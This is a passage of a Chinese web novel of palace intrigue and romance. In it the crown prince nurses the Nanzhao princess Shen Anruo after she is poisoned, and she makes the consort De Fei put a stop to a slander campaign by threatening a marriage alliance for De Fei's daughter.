“这是…………” 商玄澈抱着沈安若朝自己的寝屋走去。 “这是凰仪公主,也是本宫的太子妃,在宫里被人下药伤了身体,晕过去了,让洛朝过来。” 太子特意强调了一遍这是太子妃,看来殿下对这位和亲公主很看重,纪书川拱手道。 “是。” 商玄澈走到了寝屋,小心翼翼地将沈安若放到了床上。 “洛川医术不错,等一下让他他给你好好看看。” “你放心,洛川是我一次在在战场上救下来的人,是可信之人。” 不一会儿,洛朝匆匆赶来。他是个面容清朗的年轻医者,一进门便向商玄澈行礼。 “殿下。” 商玄澈连忙起身,让出位置。 “洛朝,你快看看公主,她今日在宫中被人下红花,又恰逢月事,身体极为虚弱。” 洛朝点头上前为沈安若把脉。片刻后,他微微皱眉,说道。 “公主以前是不是落水过。” 沈安若沉思片刻,搜索着脑海里的记忆,这具身体的确落水过,还是被沈安锦算计的。 “十二岁那年落水过。” 洛朝再次给她把脉另外一只手。 “公主脉象虚弱,此次月事疼痛加剧,一来是食用了一些红花,二来是因为公主你体寒,这往后需好好调养,在下先给公主开几副药,再辅以针灸,等到吃了三副药以后,再根据公主的身体情况做调整。” 皇宫里。 御书房。 天元皇正在练字。 一个黑衣人朝天元皇跪下。 “皇上,属下一直跟着太子府的马车,凰仪公主是被太子抱进府的。” 天元皇的字写完最后一个。 只见纸上写着。 平心静气。 “陈平,将这字送去翊坤宫给德妃。” 第八十九 加把火 翊坤宫。 德妃在自己的房间里平复了许久的情绪,才去看秦王。 秦王见德妃走进,就急忙开口。 “母妃,怎么样?那个贱人死了没有?” 德妃在椅子上坐下。 “她是和亲公主,哪能轻易就让她死了。” “不过她喝了将近一碗的红花下去,周太医已经诊断过,她以后很难有孩子了。” “一个不会生育的女人,等到太子厌弃了她,她活着会比死了更痛苦。” 秦王听了眼里露出一抹得意。 “一个不会生孩子的女人,还叫什么女人?等到太子厌弃她以后,她一定会后悔帮太子,到时候一定求着本王帮帮她。” 随即看着德妃脸上带着一抹感激。 “果然还得是母妃厉害,稍微一出手就让这个小贱人吃了大亏。” 德妃听了叹了一口气。 “启儿,咱们往后也要多注意一些,这个贱人是一个有心机的,今日虽然绝了她的子嗣之路,可是给她下药的宫女也被查了出来,母妃现在被你父皇降了位份了,只是德妃了。” 秦王听的心里一惊。 “什么?降位分?” “怎么会?父皇一直对母妃宠爱有加,这么多年,连皇后都在父皇心里没有位置,母妃你可是荣宠后宫的。” 德妃听了一脸无奈的开口。 “你父皇一开始只是惩罚了宫女,可是那个小贱人与太子步步紧逼,你父皇不得不降了母妃的位分。” 秋嬷嬷在一旁安慰的。 “娘娘也别着急,这位份还不是皇上一句话的事情,皇上这么宠爱娘娘,等到过些日子,这件事情过去了,皇上一定会恢复娘娘的位份的。” 秦王也开口道。 “胡嬷嬷说的是,母妃,眼看就要到过年了,到时候儿臣的伤也好的差不多了,儿臣会好好讨父皇欢心,让母妃回复位份的。” 德妃听了脸上有了一抹戾气。 “位份的事情,母妃倒是不担心,母妃相信你父皇只不过是做做样子降降位份给那个贱人看看罢了,只是母妃这心里有点咽不下这口气。” “母妃还是这么多年以来第一次吃了这么大的一个亏,这些年,哪怕是皇后都不敢对母妃如何,没想到一个刚来天元的异国公主,居然让母妃丢了这么大的脸面。” 秦王听了缓缓开口道。 “母妃别跟这种人生气,既然她现在已经出了皇宫,咱们有的是法子让她难堪。” 德妃听得眼里一亮。 “启儿,你是不是有什么好的法子?” 秦王嘴角勾起一抹笑意。 “母妃,这件事让晚宁来。” 太子府。 陪着沈安若吃了东西以后,商玄澈又让人拿来了汤婆子,更是在屋里烧着暖和的炭火。 才去了书房。 陈先生恭敬的拱手。 “殿下。” “梧州刺杀的事情被压下来了。” 在天元是很重视考生的,哪怕是山匪,若是打劫了考生朝廷都会立即出兵围剿,没想到现在在梧州死了两个考生,事情还能够被压下来。 “陛下可真是一位好父亲啊。” 随即询问道。 “慕行,宋淮之,邵阳几人现在怎么样?” 苍术拱手道。 “我们的人留意过,几人拿着殿下给的银子,一起租了一个小院子备考。” 商玄澈听了微微点头。 “最近多注意高家的动向。” 纪书川开口道。 “殿下,你与公主的婚事可有什么特别的吩咐?” 商玄澈沉思片刻。 “将东街的那处宅子拿去官府那边备案,过到凰仪公主名下,另外按照太子妃的规格准备一份聘礼一份嫁妆,表哥,开库房,你亲自盯着准备。” 纪书川几人都惊讶的看了太子一眼,太子对凰仪公主也太看重了,不只是准备聘礼,还要准备嫁妆,看来以后对凰仪公主得更加尊重才是。 “殿下放心,聘礼及婚礼事宜书川一直都有做一些准备,绝对不会委屈了公主的。” 太子府的一切事务一直都是纪书川在打理,他与自己又是表兄,他做事,自己还是放心的,商玄澈继续开口。 “最近秦王一党可有什么动静?” 纪书川拱手道。 “除了顾家与秦王的联姻,高家的嫡子也与户商户家议亲了,说是高公子在宴会上看到了户部尚书嫡女的才艺…………” 商玄澈听得冷笑一声。 “呵,高家还真是裙带关系利用的无所不及。” 纪书川担忧的看着商玄澈。 “殿下,顾家小姐……………” 商玄澈开口打断他的话。 “那都是过去的事情了,以后不许再提起,万一凰仪公主知道会吃醋的,而且也不能给顾小姐添麻烦,相识一场,希望以后秦王会善待她。” 接下来,几人又聊了许多公事,商玄澈很晚才回房,洗漱一番以后,才到了寝屋。 沈安若因为肚子疼谁的并不安稳,眉头时不时的皱起。 商玄澈身着里衣,检查了一下自己的双手,确定是暖和的以后,才伸手轻轻抚平了她的眉头。 然后上床,将她揽入怀中,伸手抚摸着她的小腹,轻轻的揉着。 或许是肚子舒服了,沈安若渐渐安稳了睡意,眉头舒展开来,呼吸也变得均匀。 商玄澈看着她恬静的睡颜,心中满是怜惜,侧身低头亲吻了一下她的侧脸。 初见时她中了药对自己热情似火,再见时在南诏给自己的接风洗尘宴上,后来她带着自己体验南诏的民族风情,然后陪着自己来了天元,一次次护着自己,这份情,自己很难还清的。 沈安若,这辈子,我绝不负你。 皇城里,忽然谣言四起。 “你听说了吗?南诏来和亲的那位公主,是一个有心机手腕的,刚来到咱们天元,就勾引了秦王殿下,太子与秦王在宫宴上就闹起来了。” “这不就是兄弟阋墙,这位南诏公主还真是红颜祸水啊。” “这个我知道,我有一个妹妹是在皇宫里面当宫女的,听说这位南诏公主一出现就用美色勾引秦王,秦王当众求娶 ,太子殿下可生气了,都跟皇上顶嘴了,皇上气的让人打了太子三十鞭子。” “这个女人也太不安分了,咱们的太子殿下俊美无双,更是武艺高强,战场上更是杀敌所向披靡,她能够嫁给咱们太子那是她的福气,她怎么还能勾三搭四的?简直就是丢尽女人的脸面。” 秦王府。 梨花朝沈安锦走来。 “小姐,奴婢有一个好消息要告诉你。” 沈安锦看着梨花开口。 “什么好消息?是不是关于沈安若的?” 梨花点了点头。 “果然什么都瞒不过小姐,现在整个皇城都在说凰仪公主是红颜祸水,勾引秦王,祸起萧墙,她的名声都臭了。” 沈安锦听了脸上扬起得意的笑容。 “沈安若,你也有今天。” “我就知道,只要来了天元,多的是机会复仇,这不机会就来了。” 随即朝梨花招手。 “梨花,你这样………………” 第九十章 谣言四起 梨花听了震惊的看着沈安锦。 “这,小姐,万一被怀疑………” 沈安锦开口道。 “那又如何,我现在可是秦王的锦夫人,去吧。” 梨花听了点了点头,朝外走去。 待梨花走了出去,沈安锦才开口。 “碧玉,情蛊还要多久。” 站在沈安锦身后的女子开口。 “小姐莫急,最起码还要用夫人的血养上半个月。” 碧玉在自己在南诏遇上的巫族女子,在南诏,若是用巫蛊之术,很快就会被发现,而且擅自使用巫蛊之术还会受到很严重的惩罚。 可是这里是天元,很少有人知道巫蛊之术,就算有人知道了,也没有人能够解开情蛊,自己只要养好属于自己的情蛊,在给秦王吃下,以后说不一定王妃之位都是自己的,只有自己爬上去,手里有了权力,才能够跟沈安若斗。 太子府。 商玄澈正在书房里处理公务,在宫里住了好几天,这公务都堆成山了。 纪书川走进来,看了看她,面色带着几分犹豫。 商玄澈看了看他。 “表哥你什么时候如此吞吞吐吐的了?” 纪书川拱手道。 “殿下,皇城里面忽然有一些不好的谣言,是关于凰仪公主的。” 商玄澈眉头一皱,眼里已经有了一抹不悦。 “什么?” 纪书川看了看商玄澈开口。 “外面传的有些难听,你可要做好心理准备。” 又看了一眼商玄澈。 “外面都在说凰仪公主红颜祸水,让您和秦王兄弟相争,祸起萧墙。” 商玄澈手中的奏章一下子就砸到了桌子上。 “一派胡言。” 殿下虽然平时一副威严的模样,但是是极少发脾气的,纪书川小心翼翼地看着商玄澈。 “还有在传公主这南诏成过亲,已经不是我清白之身了,她为了攀附权势抛弃她原本的夫君,设计养妹替嫁,这才当上了和亲公主。” 宴会上的事情知道的人很多,稍微偷换概念,断章取义,能够传出谣言,还能情有可原,可是这在南诏的事情,怎么会传到天元来?商玄澈眼里都是冷意。 “查。” “另外,叮嘱府中的下人,谁要是敢去公主的面前嚼舌根就拉出去杖毙。” 还好这几日她身子不舒服,加上又怕冷,不然要是她出门听到这些谣言,只怕是要不开心了。 主院。 沈安若懒洋洋的半躺在贵妃椅上,小腹的地方放着一个汤婆子,身上还盖着狐狸毯子,旁边烧着暖和的炭火,一旁的桌子上有着红枣姜茶,这是王司记煮的。 玉儿端着一碗血燕进来。 “公主,太子殿下这是真的很在乎你,今日厨房又送了炖好的血燕来,说让公主吃了血燕再喝药,而且厨房还在做南疆的菜,今晚的晚膳公主又可以吃到家乡菜了。” 看着桌子上的血燕,沈安若露出一抹笑意。 商玄澈还真是贴心啊,这种男朋友真的很不错。 在王司记的搀扶下坐起来,伸手接过玉儿递递过来的勺子。 “你们想吃什么也可以让厨房那边加菜,不用拘谨。” 王司记听了开口道。 “公主放心,我们都习惯的,天元的饭菜与南诏相差也不大。” 太子殿下会宠着公主这是好事,但是当奴婢的不能仗着公主不知分寸,不然会给公主添麻烦的。 商玄澈走进来,看着沈安若正在喝燕窝,桌子上还有一碗药汁。 “若若。” 太子一进来。 王司记等人就默默的福身退下。 这几日在太子府,已经习惯了,只要太子殿下有时间,都是陪伴在公主的身边,而自己只能退下不能当电灯泡。 沈安若抬头看着商玄澈。 “今日忙完了?” 商玄澈坐在她的身边。 “是想你了。” 所以就是没有忙完呗,沈安若无奈的笑了笑,这太子好像有点恋爱脑的感觉。 看着她碗里的燕窝已经见,商玄澈端起桌子上的那碗药尝了尝,温度刚刚好,然后拿起勺子舀起一勺药汁。 “若若,我们先把药喝了,然后我给你拿很好吃的蜜饯。” 看着那一勺子药,沈安若忍不住眉头皱了皱,然后伸手端过药碗,让勺子里的药也倒进了药碗里,直接一仰头,将一碗药喝了个干净。 这一勺子一勺子的喝,真的是有点自找苦吃,还不如直接一下子全喝了。 看着她整张脸都皱了起来,商玄澈急忙从怀里拿出一包蜜饯,打开拿出一颗喂到她的嘴边。 “这是今日刚让人买回来的,你尝尝。” 沈安若一年吃了两个蜜饯,才感觉嘴里的苦味没有那么严重,忍不住叹了一口气。 “这药还要喝到什么时啊,真的好讨厌喝药啊。” 看着她像一个小孩子一样抱怨吃药的模样,商玄澈只觉得有几分可爱,伸手将她揽到怀里。 “乖,等到身体调养好了以后,就不会再腹痛了。” 沈安若靠在他的怀里,抿了抿唇,一副无赖的模样。 “可我就是不喜欢喝药嘛,除非以后你哄我。” 看着她对自己撒娇的样子,商玄澈伸手摸了摸她可爱的脸蛋。 “好,以后你喝药我都来陪着你。” 说完凑近她的脸。 “真的很苦吗?” 沈安若点了点头。 “嗯。” 商玄澈又凑近了几分,俩人呼吸交织。 “那我尝尝。” 说完吻上了她的唇。 沈安若的瞳孔微微放大,随即脸颊泛起一抹红晕,双手不自觉地揪紧了商玄澈的衣襟。 这个吻温柔而缱绻,带着丝丝药香与蜜饯的甜意,仿佛要将彼此心中的爱意都揉进这个吻里。 许久,商玄澈才缓缓松开她,看着她羞涩又带着些许嗔怪的眼神,嘴角扬起一抹宠溺的笑意。 “现在可还觉得苦?”他轻声问道,声音里满是温柔与眷恋。 沈安若抿了抿唇,心跳如鼓,娇嗔地瞪了他一眼。 “你这人,真的是………仗着脸勾引人啊,蓝颜祸水……………” 商玄澈看着她,心中满是欢喜,他将她紧紧拥在怀里,仿佛要将她揉进自己的身体里。“若若,原本你刚来到天元,我应该陪你四处逛逛的,可是最近天气太冷了,眼看就要下雪了,你原本就体寒,暂时就不要出门,先在府中将身子养好了,我在陪着你出去随便逛,随便买。” 沈安若在他的怀里转身,仰头看着他。 “这么好呀。” 商玄澈伸手亲亲捏了捏捏她的脸蛋。 “你是我的妻子,我当然要对你好。” 直到晚膳端了上来,商玄澈陪着沈安若用了晚膳,又下去书房。 商玄澈一走。 沈安若就缓缓开口。 “玉儿,让剑兰来见本宫。” 第九十一章 喝杯茶 很快剑兰就来了。 “公主。” 沈安若看着剑兰。 “这两日让你打听的铺子如何了?” 剑兰拱手道。 “回公主的话,奴婢这两日都在街上察探着,或许是因为这是冬季眼下又到了年关,正是挣银子的时候,所以没有寻找到合适的铺子。” 冬季里大家闲暇的时间都比较多,来皇城赶集的人更是变多了,也是商铺商贩挣钱的候,铺子的确没有那么快容易找到,沈缓缓开口。 “铺子的事情倒是不着急,本宫问你这两日皇城可有什么特别的事情?” 剑兰想到自己这两日在皇城听到的那些难听的话,还有太子殿下叮嘱自己的,有些不敢抬头看沈安若! “皇城………皇城没有什么………” 看着她这般吞吞吐吐面色犹豫不敢看自己的模样,一眼就知道她这是有事瞒着自己,想到刚刚商玄澈叮嘱自己的话,总感觉他应该不只是关心自己的身体,还不想自己出太子府。 “剑兰,你是不是有什么事瞒着本宫?” 公主殿下脸上时常都带着笑意,可是她的眼神确实很犀利的,剑兰咬了咬牙。 “殿下,外面有一些不太好听的谣言,太子殿下已经在处理了,让属下不要说到公主的面前来,免得公主听了糟心。” 沈安若听了伸手搭在桌子上,食指轻轻敲击着桌面。 “说吧,外面都在传什么?” 剑兰看了看沈安若。 “公主,太子殿下说…………” 沈安若眼神一冷。 “剑兰,你是本宫的人,从南诏跟着本宫一起来的天元,本宫以后的事情多,你就相当于本宫在外的耳目。” 剑兰听了急忙跪下。 “属下知错。” “属下这就告诉公主外面传言的事情,还请公主顾惜自己的身子,不要因为外人气坏了身子。” 沈安若不耐烦的开口。 “说吧,得多大的事情让你都不敢说了?” 剑兰这才开口。 “外面都在传公主您是红颜祸水,勾引秦王,让太子殿下与秦王祸起萧墙,还有就是南诏的时候与侯府的亲事,外面传公主已经不是清白之身,根本配不上太子殿下。” 沈安若听得忽然就笑了,只是这一抹笑意多少带着嘲讽的意味。 “果然毁掉一个女人最好的方式就是造她的黄瑶,这手段还真脏啊。” “铺子暂时不要找了,婚期已经定下来了,接下来该准备嫁妆了,你先去查一查谣言是从哪里传出来,然后与王司记一起准备嫁妆。” 丞相府。 高晚宁正在刺绣。 丫鬟玢儿走进来笑着开口。 “小姐,现在整个皇城都传遍了,这南诏公主不知检点,勾引秦王,祸起萧墙,而起不知道是怎么传的 ,传着传着还传成了凰仪公主这南诏成过亲,已经是残花败柳之身,太子殿下是捡了别人不要的破鞋。” 高晚宁听得一脸的笑意。 “好,很好。” 直接退一下手上的一个镯子递给玢儿。 “这件事情你办的很漂亮,这是赏你的。” 玢儿接过手镯。 “奴婢多谢小姐。” “小姐你放心,凰仪公主现在名声尽毁,只怕是当不了太子妃了。” 高晚宁听了却神色失落,即便是她当不了太子妃又如何呢?自己一样没有机会,高家与李家这么多年的仇恨,自己与他也再无可能,自己的婚事只能等父亲和姑母安排。 太子府。 沈安若月事走了以后,开始锻炼自己的身体,跑步太枯燥,就选择在院子里练剑。 沈安若身姿轻盈,手中长剑如灵蛇般舞动,剑花闪烁,寒光凛凛。 每一招每一式都带着一股飒爽之气,似要将这院中的清冷空气都一并斩破。 商玄澈回来陪她用膳时就看到了她练剑的一幕,每一剑似乎都蕴含着杀气,她的真的是什么都会。 “苍术,剑。” 苍术将剑递上。 商玄澈拔剑飞跃到沈安若的身边。 “若若,我陪你练上一场。” 沈安若闻言,手中长剑一转,稳稳停住,目光中闪过一丝惊喜与挑战的意味。 “来…………” 商玄澈见状笑着剑锋直指沈安若。 沈安若不慌不忙,身形一闪,巧妙避开了这凌厉一击,随即反手一剑,剑尖轻点商玄澈的剑身,发出清脆的声响,两人瞬间陷入了激烈的交锋之中。 剑光交错,身影翻飞,院中落叶被剑风卷起,又纷纷扬扬落下,两人你来我往,剑影重重,此时天空飘起了雪花。 雪中练剑,别有一番意味。 毕竟身子刚刚好一些,沈安若很快就体力不支,出剑的招式变慢了几分。 察觉到她的疲倦,商玄澈手上的力度松了几分,任由沈安若的剑架在自己的脖子上。 “凰仪公主文武双全,玄澈仰慕不已。” 自己又何尝没有感觉到他刚刚特意收住了力道,让了自己,沈安若收了剑。 “那是,就是因为本宫这么优秀,才能够配上这天底下顶好的男儿。” 一旁观战的剑兰与苍术相视一眼。 一时间都感觉自己有点多余。 商玄澈将手中的剑扔给了苍术,剑兰也上前拿过了沈安若手里的剑。 商玄澈上前握住沈安若冰凉的手。 “手这么凉?” “走,进屋烤火去。” 二人一起进了屋,商玄澈立即给沈安若倒了一杯热茶。 “这是我吩咐厨房给你煮的姜枣茶,可以却寒,以后你就喝这个。” 沈安若端起茶杯轻轻喝了一口茶,茶杯里的温度更是暖和了冰凉的手,看着商玄澈缓缓开口。 “玄澈,不打算跟我说一点什么正事吗?” 商玄澈听得面色疑惑! “???” 沈安若笑着开口。 “最近天元的皇城很热闹,这热闹与我的关系还不小。” 她知道了,商玄澈急忙开口。 “若若,不要听外面的那些话,都是………” 沈安若看着他笑了笑。 “你不要着急,不过就是流言蜚语而已,还伤不到我,你这边查的怎么样了?” 既然她已经知道了,也没什么可隐瞒的了,想到了今日查到的消息,商玄澈缓缓开口。 “谣言是从高家和秦王府传出来的。” “我已经让人明日参高家一本了,这当官的手里就不可能干净,高家涉嫌的事情………” 沈安若听了却开口道。 “不必,谣言这种事情看着就像后宅的手段,女人之间的战争我自己来,我知道你与高家对峙了多年,手里肯定有一些高家的把柄,但是现在天元皇有意扶持,就算真的有什么东西也定不了高家的罪,不必浪费你手里的东西。” 她向来都是有主见的,商玄澈抬手给她续了茶。 “那你准备如何?有什么需要我做的?” 沈安若听了笑着开口。 “我准备明日进宫找德妃娘娘喝杯茶。” 第九十二章 本宫给你出手解决 翊坤宫。 养了这么多天的伤,秦王终于可以起身了。 此时与德妃坐在一起喝茶。 德妃笑着开口。 “高家已经传来了消息,凰仪公主现在名声尽毁,太子只怕是与她生了嫌隙,就算她再嚣张又如何?她也抵不住这天下悠悠之口,一个残花败柳之身,配天元的太子殿下,只会让无数的人耻笑她。” 秦王听了眼里终于有了一抹满意。 “要不说还得是晚宁,这妹妹舅舅养的太好了,一个没有了清白的女子,又没有了生育的能力,迟早她会跪下来求本王。” 德妃也笑着开口道。 “等到太子不要她以后,你再站出来说愿意顾及两国联姻娶她,你父皇肯定也会觉得你懂事,沈安若还得对你感恩戴德。” 正说着,宫女进来通报。 “娘娘,凰仪公主求见。” 德妃与秦王对视一眼,心中皆是一惊。 德妃很快镇定下来,说道。 “让她进来吧,本宫倒要看看,她今日前来所为何事。” 秦王更是开口。 “母妃,说不一定太子已经厌弃了她,与她争吵了一番,就是上门来求儿臣收留她的,毕竟在天元儿臣可是父皇最宠爱的皇子。” 沈安若身着一袭淡紫色南诏宫装,款款走进翊坤宫。 面色从容,眼神中透着一股坚定与自信,嘴角扬起那万年不变的笑意,丝毫不见被谣言困扰的颓废之色。 缓缓开口打招呼。 “德妃娘娘,秦王殿下。” 德妃心不甘情不愿的还了一礼。 “凰仪公主。” “不知凰仪公主今日来是有何要事?” 沈安若听了看向一旁的秦王。 “听说秦王殿下的伤势好了许多,本宫今日特来探望,顺便跟德妃娘娘讨一杯茶喝。” “本宫可是听说了,德妃娘娘是皇上放在心尖上的人,想来德妃娘娘这里的好东西多的是,应该不至于吝啬一杯好茶。” 德妃心中虽恼,面上却仍强撑着笑意,吩咐宫女上茶。 待茶奉上,沈安若轻轻端起茶盏,动作优雅地吹了吹茶沫,闻了闻茶香,却没有喝,笑道。 “果然是好茶,德妃娘娘不愧是荣冠六宫的德妃娘娘,这好茶本宫也就只有在德妃娘娘这里看到了。” 德妃,德妃,现在自己一听这两个字就忍不住心底燃起一股怒意,要不是这个小贱人,自己也不会从贵妃变成德妃。 “凰仪公主过奖了。” “近日里皇城里可是传出来不少的笑话,凰仪公主还能到本宫这里喝一杯茶,倒真是让本宫有些意外。” 沈安若淡定的放下手中的茶盏。 “不过几句闲言碎语罢了,若是本宫放在心上,但反而显得自寻烦恼。” 秦王在一旁缓缓开口。 “凰仪公主,本王听说现在整个皇城的人都知道,未来的太子妃也并非清白之身,甚至早在南诏就与人成过亲了,事关整个太子府的名声,若是太子因此生气冷落了公主,公主还是要理解一二才是,毕竟没有哪个男人能够忍受……………” 沈安若笑着打量着秦王。 “原本还担心秦王殿下的伤势,现在看着秦王殿下能够这般与本宫聊天,想来是伤势已经大好了。” 随即目光看向了德妃。 “德妃娘娘,本宫近日还听闻德妃娘娘所生的平阳公主才名在外,雍柔华贵,不知今日本宫可否有幸见一见天元公主的风采,也好让本宫明白,这人外有人天外有天的道理。” 这是想要学习天元公主的风度吗?秦王忍不住嘴角勾起一抹嘲讽的笑意,天元公主雍容华贵的风度是打小就培养的,这凰仪公主就算是模仿,也只不过东施效颦明白闹了笑话。 “来人,请平阳公主过来喝茶。” 德妃忍不住皱了皱眉,心里有了疑惑,这沈安若好好的要见平阳做什么? 可是秦王已经吩咐工人去请平阳公主了,也不好临时在阻止。 罢了,无论如何这里是翊坤宫,她一个异国公主还能对天元公主放肆不成! 不一会儿,平阳公主身着一袭华丽的鹅黄色宫装,迈着轻盈的步伐款款而来。 她面容娇美,气质高雅,举手投足间尽显天元皇室的尊贵与优雅。 “儿臣见过母妃、皇兄。” 平阳公主盈盈下拜,声音清脆悦耳。 然后看着坐在一旁的凰仪公主,行了一个礼。 “凰仪公主。” 沈安若站起身来,微笑着回了一礼。 “平阳公主不必多礼,本宫今日有幸得见公主风采,果真如传闻中所言,雍柔华贵,令人看了就忍不住想要靠近。” 平阳公主闻言眼里闪过一抹笑意。 “ 多谢凰仪公主夸赞。” 沈安若看向德妃,一脸的笑意。 “德妃娘娘,为了表示两国的交好,南诏有意求娶天元最美丽又气质高贵的平阳公主,本宫已经给南诏去信,相信等本宫与太子大婚的时候,南诏的皇子也该到了天元了。” 德妃听了一下子震惊的茶都洒了。 “什么?和亲?” 随即语气里面带着几分怒意 “凰仪公主,两国和亲乃是大事,岂是你一个女流之辈能够妄言的。” 秦王也开口道。 “凰仪公主,天元公主的婚事还轮不到你来指手画脚。” 果然,这德妃娘娘慌乱的时候看起来更有意思。 “德妃娘娘别紧张,秦王殿下也消消气。” “南诏为了表示两国交好的诚意,特意最受宠的公主前来和亲,天元也是尽显大国风范,天元太子亲自去迎接的本宫,所以南诏的皇子也会前来跟天元陛下求娶平阳公主的。” 秦王开口讽刺。 “凰仪公主是不是太看得起自己了,和亲乃是大事,要经过两国商议……………” 沈安若淡定的开口。 “此事本宫可以代表南诏决定,而且南诏现在太子未定,平阳公主嫁谁谁就是太子,本宫相信天元陛下是一个顾全大局的君王,本宫念及德妃娘娘爱女之心,这才先一步来找德妃娘娘喝茶。” 平阳公主冷声开口。 “本宫不会和亲,父皇舍不得的。” 沈安若听了笑着开口。 “本宫明白,本宫也相信平阳公主所说的话,如果说起来,南诏皇也是舍不得本宫和亲的,担心本宫在异国他乡饮食不习惯,也担心受委屈,可是为了两国的交好,最终还是让本宫跟着太子殿下离开了故乡。” 哐当,是杯子掉在地上的声音,德妃站起来看着沈安若一脸的怒意。 “凰仪公主,你若只是来喝杯茶本宫欢迎你,你要是来给本宫添堵的,慢走,不送。” 这就淡定不了了吗?沈安若笑了笑开口。 “德妃娘娘,本宫懂你的一片爱女之心,可是德妃娘娘你身为天元陛下最宠爱的妃子,为了您和皇上的情谊,本宫相信,娘娘最终还是会顾全大局不让天元陛下为难的。” 又是这样的笑意,自从自己见她第一面,他就总是脸上带着淡淡的笑意,可是说出的话经常如同刀子一般,秦王一脸脸上已经隐隐有了一抹怒意。 “凰仪公主,平阳与你无冤无仇,你为何要如此针对平阳?” 沈安若听了身子往后靠了靠,伸手食指一次次划过自己的发际线。 “秦王殿下说笑了,本宫一心为了两国的交好,又怎么会针对平阳公主呢?” “本宫明白德妃娘娘和秦王殿下担心什么,无非就是担心平阳公主到了南诏以后会没有朋友,会孤单,会被异国他乡的人欺负,或者散布谣言重伤影响两国交好,你们放心好了,在南诏本宫还是有一些至交好友的,一定不会让平阳公主像本宫这般受委屈。” 德妃听了一下子就明白,今日她来的目的,她这是在给自己示威,她已经知道谣言怎么回事了,如果不处理好,她就要让南诏求娶平阳,到时候会将这份委屈加注在平阳的身上。 德妃接过宫女递过来的茶慢悠悠的喝着,沈安若也不着急,嘴角带着一抹笑意,耐心的等着。 直到德妃手里的茶杯见底,德妃才缓缓开口。 “凰仪公主刚刚夸赞本宫的平阳雍容华贵,可是在本宫看来凰仪公主才是高雅大方,这太子殿下到底是男子,不明白外面所传的闲言碎语也能重伤人。” “本宫与凰仪公主一见如故,如今知道了凰仪公主受流言蜚语所困也于心不忍,外面的那些谣言公主莫要在意,本宫会出手替公主解决的。” 第九十三章 借力打力 沈安若闻言,嘴角那抹笑意愈发深邃,她轻轻站起身,行了一个优雅的礼,道。 “德妃娘娘果然深明大义,本宫在此先谢过娘娘。有娘娘出手,想来那些无稽之谈很快便会烟消云散,本宫也能安心筹备与太子的大婚了。” 德妃强忍着心中的不悦,面上却维持着得体的微笑,道。 “凰仪公主客气了,本宫身为皇上的妃子,自然想着为皇上排忧解难,谣言这种琐碎的事情,本宫自然不想皇上浪费时间,公主放心,本宫定会让那些散布谣言之人受到应有的惩罚。” 沈安若脸上扬起笑意,甚至眉眼间都是笑意。 “果然,德妃娘娘的这里的茶就是好喝,本宫这一盏茶下来,心情都愉快了不少。” “德妃娘娘,本宫初来天元,也没有什么朋友,对天元的贵女也都不了解,德妃娘娘如此的善解人意,菩萨心肠,想来高家的女儿都不差的,本宫过两日想去拜访高小姐,跟高小姐交个朋友,贵妃娘娘觉得如何?” 德妃听得心里更加堵得慌了,这个凰仪公主到底想做什么?她明明与晚宁不和,为什么还要去高家。 “这皇城里有不少才华横溢的贵女,凰仪公主怎么会偏偏想去找晚宁玩?” 沈安若抬头一脸笑意的看着德妃。 “自然是因为本宫对高小姐一见如故,觉得十分的亲切。” 这句话又回来了,德妃听得面色一僵,只感觉自己在宫里维持了这么多年的端庄贤淑,真的是要破防了,还见面觉得亲切,明明在宫宴上的时候就让晚宁把面子和里字丢了个干净。 秦王在一旁开口。 “既然凰仪公主想去找晚宁玩,晚宁肯定会招待好凰仪公主的。” 沈安若听了笑着开口。 “既然如此,那就劳烦秦王殿下给高小姐带一句话,本宫过两日登门拜访。” “今日茶也喝了,心情愉悦了,本宫就不叨扰德妃娘娘和秦王殿下了,娘娘是本宫见过最慈爱的长辈,等到往后本宫若是在受此等流言蜚语困扰,定来求助德妃娘娘,让德妃娘娘开解一番,告辞了。” 说完便转身离去。 王司记和剑兰急忙跟上。 甚至王司记还回头看了一眼脸色铁青的德妃。 论气人还得是公主啊。 直到几人的身影消失,德妃咋也忍不住将手中的茶杯狠狠的砸在地上。 “她就是故意的,故意想要气死本宫。” 秦王却看着她的背影若有所思,这样的人成为太子妃,对自己来说可不是一件好事。 马车上。 王司记疑惑的开口。 “殿下,提起两国和亲的事情,是为了让德妃出手解决谣言的事情,可是殿下你为什么要去高家?妾身总觉得那个高小姐对殿下有几分敌意。” 沈安若听了缓缓开口。 “败坏本宫的名声,甚至想借此挑拨本宫与太子的关系,这件事情若是轻易算了,往后德妃只怕是要当本宫是软柿子了。” 王司记听了看着沈安若。 “公主是准备对高家动手?” “可咱们初来乍到的,要不再了解了解一番,等到你与太子大婚过后。” 肯定不能等什么大婚过后,现在正缺银子半嫁妆呢,之前手里的银票基本上都给了长姐,现在置办的嫁妆都是成箱的银子,自己好不容易才找到了理由拿出来。 “无妨,只不过先去了解一下高家。” 高家。 高晚宁听说了沈安若居然进宫逼得德妃出手解决谣言的事情,还要来高家做客,更是气不打一出来。 “她凭什么?” “不就是一个和亲公主吗?当真是一点都分不清楚自己的分量,就算她是南诏最受宠的公主又如何?这里是天元,不是南诏,更不是她随意撒野的地方。” 高夫人走进来就看到自己女儿发脾气的模样。 “晚宁。” 高晚宁委屈的上前挽住高夫人的胳膊。 “母亲,我不喜欢那个凰仪公主,更不想她来我们家做客。” 高夫人听着一边拉着她坐下一边开口。 “你啊,还真的是被我惯坏了,跟你说过很多次了,有些人哪怕是不喜欢,只要在还不能弄死对方的时候,就要学会表面客客气气的。” 在自己母亲的面前,高晚宁自然是露出了小女儿家的姿态。 “母亲,可我真的很讨厌她嘛,而且这话女儿也只在母亲的面前说。” “母亲,我们好不容易才毁了她的名声,让太子殿下嫌弃她,姑母怎么就还要帮她呢?” 高夫人听了沉思着开口。 “昨日凰仪公主进宫了,今日一早,你姑母就派人找了你父亲,让我们把谣言的事情处理了,看来应该是凰仪公主给你姑母说了什么让你姑母忌惮的话。” 高晚宁听了更是不甘心的开口。 “他还真是不要脸,抢了太子殿下不说,还敢威胁姑母,要女儿说,她不过就是一个小小南诏国的公主,不如我们一不做二不休…………” 看着高晚宁一脸的戾气,高夫人皱了皱眉! “晚宁,和亲事关两国大事,要谨言慎行。” 高晚宁见母亲不赞同自己的想法,气得跺了跺脚,眼眶泛红。 “母亲,难道就任由她这般嚣张下去?宴会上她已经让我很难堪了,现在还要我接待她,我实在咽不下这口气。” 高夫人轻拍着她的手,安抚道。 “晚宁,这是你姑母叮嘱的事情,你姑母现在刚被降了位份,咱们哪怕是为了你姑母也要暂时先忍一忍。” 高晚宁听了却一脸的恨意。 